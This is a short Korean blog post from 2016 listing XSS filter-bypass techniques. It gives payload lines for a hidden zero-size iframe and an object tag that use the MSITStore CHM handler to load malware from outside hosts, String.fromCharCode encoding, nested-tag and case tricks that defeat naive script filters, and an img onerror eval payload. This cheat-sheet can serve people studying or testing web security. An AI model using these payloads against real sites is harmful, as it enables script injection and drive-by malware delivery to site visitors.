2016년 11월 8일 화요일

XSS 우회 기법

HTML Tricks

1. iframe Tag

iframe tag를 이용하여 악성코드가 포함된 사이트로 세션을 연결해 자동으로 프로그램을
다운받도록 한다.
<iframe src=" http://pwnplay.org" width="0" height="0" frameborder="0"></iframe>


2. Object Tag



object 태크와 ITS 프로토콜 핸들러에 의한 chm처리시의 취약점을 이용한다.
object width=0 height=0 style=display:none; type=text/xscriptlet"
Data=mk:@MSITStore:mhtml:c:\no.mht!http://sample.com/exploit_chm::exploit.html></script>



사용자 PC에 c:\no.mht 파일이 존재하지 않는 경우 http://sample.com/exploit_chm::exploit.html에 접속하여 로컬 시스템 파일처럼 exploit.html을 실행한다. 당연히 이 exploit.html은 악성코드가 된다.



3. 인코딩방법(String.fromCharCode())


String.fromCharCode()함수를 사용하여 URL정보를 인코딩 하는 기법이며 일반 문자열을
10진수로 표기하도록한다.

String.fromCharCode(116,101,115,116) --> test (116=t , 101=e ...)

4. 문자열 필터링 로직과 관련


4.1  가정.<script>와 같은 치명적인 문자열을 한번 제외시킨다. 

<scr<script>ipt>alert("xss");</scr</script>ipt> 

와같이 inject한다면 필터링에 의해 <script>alert("xss");</script> 를 inject 된다.

4.2 가정. <script>를 먼져 제외시키고 <iframe> 태크를 제외시킨다.

<scri<iframe>pt>alert("xss");</scrip<iframe>t>

와 같이 inject한다면 filtering 로직이 script를 먼져 제외시키고 iframe을 제외시키기
때문에 먼져 script에 대한 filtering을 마친후 iframe에 대해 filtering할때 이 상태에서 
script 태크에 대한 filter는 끝낫다고 생각하기 때문에  iframe 필터링이 끝난후 생성된 <script>
태크의 대한 필터링은 수행되지 않는다.

5. Case insensitive 기법


쉽게 대소문자를 구분해서 inject하는 것이다.

<ScriPt>alert("xss");</sCRIPT> 

6. img tag tricks


<img src=x:alert(alt) onerror=eval(src) alt=0>

src=this.src , alt=this.alt 가 되므로 alert인자의 alt는 0이되고 eval의 인자의 src는
x:alert(alt)가 되어서 최종적으로 alert(0)을 실행


0 개의 댓글:

댓글 쓰기